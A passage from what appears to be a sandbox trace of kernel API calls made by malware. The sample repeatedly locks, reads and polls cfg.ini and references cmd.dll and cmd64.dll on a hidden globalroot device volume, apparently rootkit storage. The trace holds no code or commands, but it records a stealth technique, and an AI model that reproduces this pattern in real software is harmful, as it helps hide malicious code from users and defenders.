MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.037] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.037] IdePortDispatch () returned 0x103 [0125.037] KeWaitForMutexObject () returned 0x0 [0125.037] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.037] KeLeaveCriticalRegion () [0125.037] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.037] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.037] KeEnterCriticalRegion () [0125.037] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.037] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.037] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.038] KeLeaveCriticalRegion () [0125.038] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.038] KeEnterCriticalRegion () [0125.038] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.038] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.038] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4220, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.038] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.038] KeLeaveCriticalRegion () [0125.038] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.038] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.038] KeEnterCriticalRegion () [0125.038] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.038] ExFreePoolWithTag (P=0xfffffa8003be9260, Tag=0x0) [0125.038] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.038] KeLeaveCriticalRegion () [0125.038] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.038] ReleaseMutex (hMutex=0xf0) returned 1 [0125.038] Sleep (dwMilliseconds=0x124f80) [0125.052] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.052] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.052] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.052] KeEnterCriticalRegion () [0125.052] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.052] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.052] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.052] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.052] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.052] IdePortDispatch () returned 0x103 [0125.052] KeWaitForMutexObject () returned 0x0 [0125.052] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.052] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.053] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.053] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.053] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.053] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be8910 [0125.053] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.053] KeLeaveCriticalRegion () [0125.053] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.053] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.053] KeEnterCriticalRegion () [0125.053] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.053] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.053] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.053] KeLeaveCriticalRegion () [0125.053] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.053] KeEnterCriticalRegion () [0125.053] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.053] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.053] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.053] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.053] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.053] IdePortDispatch () returned 0x103 [0125.053] KeWaitForMutexObject () returned 0x0 [0125.053] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.053] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.053] KeLeaveCriticalRegion () [0125.053] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.053] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.053] KeEnterCriticalRegion () [0125.053] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.053] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b18000 [0125.053] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.053] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.053] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.053] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.053] IdePortDispatch () returned 0x103 [0125.054] KeWaitForMutexObject () returned 0x0 [0125.054] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.054] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.054] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.054] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.054] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.054] IdePortDispatch () returned 0x103 [0125.054] KeWaitForMutexObject () returned 0x0 [0125.054] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.054] KeLeaveCriticalRegion () [0125.054] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.054] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.054] KeEnterCriticalRegion () [0125.054] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.054] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.055] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.055] KeLeaveCriticalRegion () [0125.055] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.055] KeEnterCriticalRegion () [0125.055] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.055] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.055] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf5e10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.055] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.055] KeLeaveCriticalRegion () [0125.055] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.055] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.055] KeEnterCriticalRegion () [0125.055] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.055] ExFreePoolWithTag (P=0xfffffa8003be8910, Tag=0x0) [0125.055] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.055] KeLeaveCriticalRegion () [0125.055] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.055] ReleaseMutex (hMutex=0xf0) returned 1 [0125.055] Sleep (dwMilliseconds=0x124f80) [0125.069] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.069] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.069] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.069] KeEnterCriticalRegion () [0125.069] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.069] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.069] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.069] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.070] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.070] IdePortDispatch () returned 0x103 [0125.070] KeWaitForMutexObject () returned 0x0 [0125.070] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.070] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.070] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.070] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.070] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.070] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf5d50 [0125.070] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.070] KeLeaveCriticalRegion () [0125.070] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.070] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.070] KeEnterCriticalRegion () [0125.070] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.070] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.070] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.070] KeLeaveCriticalRegion () [0125.070] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.070] KeEnterCriticalRegion () [0125.070] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.070] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.070] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.070] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.070] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.070] IdePortDispatch () returned 0x103 [0125.070] KeWaitForMutexObject () returned 0x0 [0125.070] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.071] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.071] KeLeaveCriticalRegion () [0125.071] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.071] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.071] KeEnterCriticalRegion () [0125.071] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.071] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b1d000 [0125.071] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.071] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.071] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.071] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.071] IdePortDispatch () returned 0x103 [0125.071] KeWaitForMutexObject () returned 0x0 [0125.071] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.071] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.071] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.071] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.071] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.071] IdePortDispatch () returned 0x103 [0125.071] KeWaitForMutexObject () returned 0x0 [0125.071] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.071] KeLeaveCriticalRegion () [0125.071] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.072] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.072] KeEnterCriticalRegion () [0125.072] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.072] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.072] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.072] KeLeaveCriticalRegion () [0125.072] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.072] KeEnterCriticalRegion () [0125.072] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.072] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.072] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4220, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.072] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.072] KeLeaveCriticalRegion () [0125.072] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.072] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.072] KeEnterCriticalRegion () [0125.072] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.072] ExFreePoolWithTag (P=0xfffffa8003bf5d50, Tag=0x0) [0125.072] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.072] KeLeaveCriticalRegion () [0125.072] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.072] ReleaseMutex (hMutex=0xf0) returned 1 [0125.073] Sleep (dwMilliseconds=0x124f80) [0125.083] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.087] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.087] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.087] KeEnterCriticalRegion () [0125.087] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.087] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.087] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.087] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.087] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.087] IdePortDispatch () returned 0x103 [0125.087] KeWaitForMutexObject () returned 0x0 [0125.087] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.087] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.087] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.087] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.087] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.087] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf5e00 [0125.087] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.087] KeLeaveCriticalRegion () [0125.087] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.087] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.087] KeEnterCriticalRegion () [0125.087] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.087] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.087] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.087] KeLeaveCriticalRegion () [0125.088] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.088] KeEnterCriticalRegion () [0125.088] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.088] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.088] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.088] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.088] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.088] IdePortDispatch () returned 0x103 [0125.088] KeWaitForMutexObject () returned 0x0 [0125.088] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.088] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.088] KeLeaveCriticalRegion () [0125.088] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.088] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.088] KeEnterCriticalRegion () [0125.088] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.088] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b61000 [0125.088] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.088] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.088] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.088] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.088] IdePortDispatch () returned 0x103 [0125.089] KeWaitForMutexObject () returned 0x0 [0125.089] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.089] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.089] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.089] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.089] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.089] IdePortDispatch () returned 0x103 [0125.090] KeWaitForMutexObject () returned 0x0 [0125.090] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.090] KeLeaveCriticalRegion () [0125.090] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.090] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.090] KeEnterCriticalRegion () [0125.090] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.090] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.090] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.090] KeLeaveCriticalRegion () [0125.090] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.090] KeEnterCriticalRegion () [0125.090] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.090] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.090] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf58b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.091] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.091] KeLeaveCriticalRegion () [0125.091] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.091] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.091] KeEnterCriticalRegion () [0125.091] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.091] ExFreePoolWithTag (P=0xfffffa8003bf5e00, Tag=0x0) [0125.091] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.091] KeLeaveCriticalRegion () [0125.091] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.091] ReleaseMutex (hMutex=0xf0) returned 1 [0125.091] Sleep (dwMilliseconds=0x124f80) [0125.101] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.101] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.101] _snprintf (in: _Dest=0xfffff880028da450, 